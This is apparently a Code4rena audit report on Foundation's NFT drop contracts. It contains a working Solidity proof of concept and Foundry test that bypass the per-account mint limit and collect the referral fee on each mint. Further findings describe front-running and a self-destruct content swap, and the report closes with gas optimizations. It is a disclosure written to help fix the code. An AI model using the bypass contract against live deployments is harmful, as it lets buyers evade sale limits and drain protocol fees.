Foundation Drop contest - zkhorse's results

Lines of code

https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/mixins/nftDropMarket/NFTDropMarketFixedPriceSale.sol#L170

Vulnerability details

NFTDropMarketFixedPriceSale enforces a mint limit per address and pays a referral fee if the referrer address is not msg.sender. However, a simple smart contract may trivially bypass the mint limit and extract the referral fee for each mint.

Impact

Smart contract callers can bypass the limitPerAccount and claim the referral fee for each mint for themselves.

Proof of Concept

Every buyer should use this little helper in order to ignore the limitPerAccount and automatically count as a buyReferrer to get a 1% discount out of the protocol fees:

// SPDX-License-Identifier: MIT OR Apache-2.0

pragma solidity ^0.8.12;

import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";

import "../../lib/forge-std/src/Test.sol";

import "../../contracts/NFTDropCollection.sol";
import "../../contracts/NFTCollectionFactory.sol";
import "../../contracts/NFTDropMarket.sol";
import "../../contracts/mocks/MockTreasury.sol";
import "../../contracts/mocks/FETHMarketMock.sol";
import "../../contracts/mocks/RoyaltyRegistry/MockRoyaltyRegistry.sol";
import "../../contracts/libraries/AddressLibrary.sol";
import "../../contracts/mixins/roles/AdminRole.sol";
import "../../contracts/FETH.sol";

contract MintHelper {
  function smartMint(
    NFTDropMarket market,
    address nftContract,
    uint256 count
  ) public payable {
    (, uint256 price, uint256 limitPerAccount, uint256 numberAvailable, bool marketCanMint) = market.getFixedPriceSale(
      nftContract
    );

    require(marketCanMint, "Market is not ready to mint.");
    require(numberAvailable >= count, "Not enough tokens available to mint.");
    require(price == msg.value / count, "Expected value is count * price");

    while (count != 0) {
      // mint this batch
      uint16 thisBatch = uint16(count > limitPerAccount ? limitPerAccount : count);
      uint256 firstTokenId = market.mintFromFixedPriceSale{ value: price * thisBatch }(
        address(nftContract),
        thisBatch,
        payable(msg.sender) // buyReferrer, to get the 1% discount
      );

      // transfer the minted NFTs to the customer so that we can mint the next batch
      for (uint256 i = 0; i < thisBatch; ) {
        IERC721(nftContract).transferFrom(address(this), msg.sender, firstTokenId + i);
        unchecked {
          ++i;
        }
      }

      unchecked {
        count -= thisBatch;
      }
    }
  }
}

contract SmartBuyer is Test {
  address admin = makeAddr("admin");
  address creator = makeAddr("creator");
  uint80 price = 0.5 ether;
  uint16 limitPerAccount = 10;

  MockTreasury treasury;
  NFTCollectionFactory nftCollectionFactory;
  NFTDropCollection nftDropCollectionTemplate;
  NFTDropMarket nftDropMarket;
  FETH feth;
  MockRoyaltyRegistry royaltyRegistry;

  NFTDropCollection collection;

  function setUp() public {
    /** Pre-reqs **/
    treasury = new MockTreasury();
    nftCollectionFactory = new NFTCollectionFactory(address(treasury));
    nftCollectionFactory.initialize(2);
    nftDropCollectionTemplate = new NFTDropCollection(address(nftCollectionFactory));
    nftCollectionFactory.adminUpdateNFTDropCollectionImplementation(address(nftDropCollectionTemplate));

    /** Deploy Market **/
    // Deploy the proxy with a placeholder implementation.
    TransparentUpgradeableProxy dropMarketProxy = new TransparentUpgradeableProxy(address(treasury), admin, "");
    feth = new FETH(payable(dropMarketProxy), payable(dropMarketProxy), 24 hours);
    royaltyRegistry = new MockRoyaltyRegistry();

    NFTDropMarket dropMarketImplementation = new NFTDropMarket(
      payable(treasury),
      address(feth),
      address(royaltyRegistry)
    );
    vm.prank(admin);
    dropMarketProxy.upgradeTo(address(dropMarketImplementation));
    nftDropMarket = NFTDropMarket(payable(dropMarketProxy));
    nftDropMarket.initialize();

    vm.prank(creator);
    collection = NFTDropCollection(
      nftCollectionFactory.createNFTDropCollection(
        "name",
        "symbol",
        "ipfs://baseURI/",
        0x0,
        888,
        address(nftDropMarket),
        /* nonce */
        0
      )
    );

    /** List for sale **/
    vm.prank(creator);
    nftDropMarket.createFixedPriceSale(address(collection), price, limitPerAccount);
  }

  function testSmartBuy() public {
    // set up
    address buyer = makeAddr("buyer");
    uint256 count = 10 * limitPerAccount;
    vm.deal(buyer, count * price);
    MintHelper helper = new MintHelper();

    // when we use smartMint
    vm.prank(buyer);
    helper.smartMint{ value: count * price }(nftDropMarket, address(collection), count);

    // then we get the number of NFTs we wanted regardless of limitPerAccount
    assertEq(collection.balanceOf(buyer), count);

    // and we get the 1% cashback
    assertEq(buyer.balance, (count * price) / 100);
  }
}

Recommended Mitigation Steps

Because the limitPerAccount and the buyReferrer logic can be trivially used by sophisticated users, they should be considered for removal:

• the contract logic would be simplified
• it would cost less gas to create a fixed price sale (no need to store limitPerAccount)
• it would cost less gas to mint from a fixed price sale for every user
• the protocol fees would be maintained and not incentivize “exploiters”

QA Report

Low

Zero address in royalty recipients will cause payments to revert

Since FETH reverts on transfers/deposits/withdrawals to the zero address, if a drop owner intentionally or accidentally adds the zero address as a royalty recipient, token mints and payment transfers will revert when MarketFees._distributeFunds attempts to pay creators:

MarketFees._distributeFunds:

    // Pay the creator(s)
    unchecked {
      for (uint256 i = 0; i < creatorRecipients.length; ++i) {
        _sendValueWithFallbackWithdraw(
          creatorRecipients[i],
          creatorShares[i],
          SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS
        );
        // Sum the total creator rev from shares
        // creatorShares is in ETH so creatorRev will not overflow here.
        creatorRev += creatorShares[i];
      }
    }

The Manifold registry does disallow the zero address for recipients, but this may be possible for custom contracts.

Impact

Creators may accidentally brick token sales. If a malicious recipient is able to add their address to a supported royalty registry, they may be able to block token sales and payments.

Recommendation

Ignore any zero addresses in the creatorRecipients array when processing payments:

    // Pay the creator(s)
    unchecked {
      for (uint256 i = 0; i < creatorRecipients.length; ++i) {
        if (creatorRecipients[i] == address(0)) continue;
        _sendValueWithFallbackWithdraw(
          creatorRecipients[i],
          creatorShares[i],
          SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS
        );
        // Sum the total creator rev from shares
        // creatorShares is in ETH so creatorRev will not overflow here.
        creatorRev += creatorShares[i];
      }
    }

Factory template upgrades must be atomically initialized

The admin of NFTCollectionFactory may update the stored implementationNFTCollection and implementationNFTDropCollection by calling [adminUpdateNFTCollectionImplementation](https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/NFTCollectionFactory.sol#L202) and adminUpdateNFTDropCollectionImplementation respectively.

NFTCollectionFactory#adminUpdateNFTCollectionImplementation

  function adminUpdateNFTCollectionImplementation(address _implementation) external onlyAdmin {
    require(_implementation.isContract(), "NFTCollectionFactory: Implementation is not a contract");
    implementationNFTCollection = _implementation;
    unchecked {
      // Version cannot overflow 256 bits.
      versionNFTCollection++;
    }

    // The implementation is initialized when assigned so that others may not claim it as their own.
    INFTCollectionInitializer(_implementation).initialize(
      payable(address(rolesContract)),
      string.concat("NFT Collection Implementation v", versionNFTCollection.toString()),
      string.concat("NFTv", versionNFTCollection.toString())
    );

    emit ImplementationNFTCollectionUpdated(_implementation, versionNFTCollection);
  }

NFTCollectionFactory#adminUpdateNFTDropCollectionImplementation

function adminUpdateNFTDropCollectionImplementation(address _implementation) external onlyAdmin {
    require(_implementation.isContract(), "NFTCollectionFactory: Implementation is not a contract");
    implementationNFTDropCollection = _implementation;
    unchecked {
      // Version cannot overflow 256 bits.
      versionNFTDropCollection++;
    }

    emit ImplementationNFTDropCollectionUpdated(_implementation, versionNFTDropCollection);

    // The implementation is initialized when assigned so that others may not claim it as their own.
    INFTDropCollectionInitializer(_implementation).initialize(
      payable(address(this)),
      string.concat("NFT Drop Collection Implementation v", versionNFTDropCollection.toString()),
      string.concat("NFTDropV", versionNFTDropCollection.toString()),
      "ipfs://bafybeibvxnuaqtvaxu26gdgly2rm4g2piu7b2tqlx2dsz6wwhqbey2gddy/",
      0x1337000000000000000000000000000000000000000000000000000000001337,
      1,
      address(0),
      payable(0)
    );
  }

Note that both of these functions take the new _implementation address as an argument, update the value in storage, and initialize it.

However, since the implementation contract itself is created outside of these functions, if it is not deployed and initialized atomically (e.g. using a deployment contract or Flashbots bundle), there is an opportunity for an attacker to frontrun intialization and claim ownership of the new implementation contract.

Recommendation

Ensure new implementation templates are deployed and initialized in a single transaction using a deployment contract or other atomic initialization mechanism.

Collection creator can frontrun purchase and swap pre-revealed content

A collection creator can frontrun the first token purchase in their collection to recreate their collection with different content.

Scenario:

• Eve creates a mintable drop collection with pre-revealed content that looks innocuous.
• Eve creates a sale with NFTDropMarketFixedPriceSale.createFixedPriceSale.
• Alice calls NFTDropMarket.mintFromFixedPriceSale to mint a token.
• Eve frontrun’s Alice’s purchase transaction, calls NFTDropCollection.selfDestruct, and creates a new contract at the same address with different content.

Recommendation

Disallow self-destructs for collections with an active sale.

Noncritical

Tokens may be minted to non-ERC721 recipients

NFTCollection uses _mint rather than _safeMint to create new tokens. This seems like an intentional design decision (so we are reporting it as a noncritical finding), but note that this will not check that the token receiver implements onERC721Received, and could result in tokens minted to smart contract addresses that cannot transfer them.

NFTCollection._mint

  function _mint(string calldata tokenCID) private onlyCreator returns (uint256 tokenId) {
    require(bytes(tokenCID).length != 0, "NFTCollection: tokenCID is required"); 
    require(!cidToMinted[tokenCID], "NFTCollection: NFT was already minted");
    unchecked {
      // Number of tokens cannot overflow 256 bits.
      tokenId = ++latestTokenId;
      require(maxTokenId == 0 || tokenId <= maxTokenId, "NFTCollection: Max token count has already been minted");
      cidToMinted[tokenCID] = true;
      _tokenCIDs[tokenId] = tokenCID;
      _mint(msg.sender, tokenId);
      emit Minted(msg.sender, tokenId, tokenCID, tokenCID);
    }
  }

Invalid JSON metadata in example NFTDrop

The metadata included in the template drop collection is invalid JSON. (Valid JSON keys must be encoded with double quotes).

{
  name: "NFT Drop Collection Implementation",
  description: "Sample content for NFT drop collections",
  image: "ipfs://QmdB9mCxSsbybucRqtbBGGZf88pSoaJnuQ25FS3GJQvVAx/nft.png"
}

curl -s https://gateway.pinata.cloud/ipfs/bafybeibvxnuaqtvaxu26gdgly2rm4g2piu7b2tqlx2dsz6wwhqbey2gddy/1.json | tee 1.json | jq .
parse error: Invalid literal at line 2, column 7

QA

Thanks for providing a preset Foundry environment for exploring your contracts. Setting up test environments to validate findings and explore is often the hardest part of these contests, and we really appreciated having a starting point with this project.

Remove unused function

BytesLibrary.replaceAtIf appears to be unused. Consider removing this function.

Shadowed variable name

_baseURI is used as a parameter in a few functions in NFTDropCollection, but shadows the _baseURI state variable inherited from ERC721Upgradeable. Consider renaming these parameters baseURI_ to avoid ambiguity.

NFTDropCollection#L87-90

  modifier validBaseURI(string calldata _baseURI) {
    require(bytes(_baseURI).length > 0, "NFTDropCollection: `_baseURI` must be set");
    _;
  }

NFTDropCollection#L195-202

  function reveal(string calldata _baseURI) external onlyAdmin validBaseURI(_baseURI) onlyWhileUnrevealed {
    // `postRevealBaseURIHash` == 0 indicates that the collection has been revealed.
    delete postRevealBaseURIHash;

    // Set the new base URI.
    baseURI = _baseURI;
    emit URIUpdated(_baseURI, "");
  }

NFTDropCollection#L232-243

  function updatePreRevealContent(string calldata _baseURI, bytes32 _postRevealBaseURIHash)
    external
    validBaseURI(_baseURI)
    onlyWhileUnrevealed
    onlyAdmin
  {
    require(_postRevealBaseURIHash != bytes32(0), "NFTDropCollection: use `reveal` instead");

    postRevealBaseURIHash = _postRevealBaseURIHash;
    baseURI = _baseURI;
    emit URIUpdated(baseURI, postRevealBaseURIHash);
  }

Incorrect comment

This natspec comment on NFTCollectionFactory should refer to ERC-1167 rather than ERC-1165:

* @dev This creates and initializes an ERC-1165 minimal proxy pointing to a NFT collection contract implementation.

Gas Optimizations

Omit hash in contract salts

NFTCollectionFactory generates a unique salt per collection by concatenating the creator address and a nonce and returning the hash of the concatenated values.

NFTCollectionFactory._getSalt:

  function _getSalt(address creator, uint256 nonce) private pure returns (bytes32) {
    return keccak256(abi.encodePacked(creator, nonce));
  }

If you are willing to constrain the nonce value to a uint96, you can save a bit of gas by omitting the keccak hash and packing the creator address and nonce together in a bytes32. Since this is paid by creators on every new drop and collection, small savings here may add up.

Original implementation: 22974 gas.

Optimized: 22457 gas:

    function _getSalt(address creator, uint96 nonce) public pure returns (bytes32) {
        return bytes32(uint256((uint256(nonce) << 160) | uint160(creator)));
    }

Optimize BytesLibrary.startsWith

BytesLibrary.startsWith checks whether the given bytes callData begin with a provided bytes4 functionSig. It performs this check by iterating over each individual byte:

Original implementation (~2150 gas):

  function startsWith(bytes memory callData, bytes4 functionSig) internal pure returns (bool) {
    // A signature is 4 bytes long
    if (callData.length < 4) {
      return false;
    }
    unchecked {
      for (uint256 i = 0; i < 4; ++i) {
        if (callData[i] != functionSig[i]) {
          return false;
        }
      }
    }

    return true;
  }
}

Running 3 tests for test/foundry/BytesLibrary.t.sol:TestBytesLibrary
[PASS] testStartsWithFullString() (gas: 2199)
[PASS] testStartsWithPrefix() (gas: 2145)
[PASS] testStartsWithTooShort() (gas: 642)
Test result: ok. 3 passed; 0 failed; finished in 3.11ms

There are a few options to optimize this function, depending on whether you want to use inline assembly.

No assembly required: cast callData to bytes4

It’s possible to convert callData to a bytes4 (truncating the remainder), and compare directly with functionSig. This saves about 850 gas.

function startsWith(bytes memory callData, bytes4 functionSig) internal pure returns (bool) {
    // A signature is 4 bytes long
    if (callData.length < 4) {
      return false;
    }
    return bytes4(callData) == functionSig;
  }

Running 3 tests for test/foundry/BytesLibrary.t.sol:TestBytesLibrary
[PASS] testStartsWithFullString() (gas: 1359)
[PASS] testStartsWithPrefix() (gas: 1305)
[PASS] testStartsWithTooShort() (gas: 642)
Test result: ok. 3 passed; 0 failed; finished in 426.58µs

Some assembly required: cast callData to bytes4 in assembly

If you’re up for some low level assembly, you can perform the same truncation more cheaply by assigning callData to a bytes4 in assembly. This saves about 1300 gas.

  function startsWith(bytes memory callData, bytes4 functionSig) internal pure returns (bool) {
    // A signature is 4 bytes long
    if (callData.length < 4) {
      return false;
    }
    bytes4 sigBytes;
    assembly {
      sigBytes := mload(add(callData, 0x20))
    }
    return sigBytes == functionSig;
  }
}

Running 3 tests for test/foundry/BytesLibrary.t.sol:TestBytesLibrary
[PASS] testStartsWithFullString() (gas: 894)
[PASS] testStartsWithPrefix() (gas: 840)
[PASS] testStartsWithTooShort() (gas: 642)
Test result: ok. 3 passed; 0 failed; finished in 3.23ms

Assembly required: perform comparison in assembly

If you really want to show off, you can perform the whole comparison in assembly and save an additional 50-ish gas:

function startsWith(bytes memory callData, bytes4 functionSig) internal pure returns (bool sigMatches) {
    // A signature is 4 bytes long
    if (callData.length < 4) {
      return false;
    }
    assembly {
      sigMatches :=
        eq(
          and(                          // Take bitwise and of...
            shl(0xe0, 0xffffffff),      // Mask over first 4 bytes of bytes32
            mload(add(callData, 0x20))  // First word after callData length
          ),
          functionSig                   // Does it eq functionSig?
        )
    }
  }

Running 3 tests for test/foundry/BytesLibrary.t.sol:TestBytesLibrary
[PASS] testStartsWithFullString() (gas: 849)
[PASS] testStartsWithPrefix() (gas: 795)
[PASS] testStartsWithTooShort() (gas: 642)

(This last one is probably not worth it, but it was fun to work out).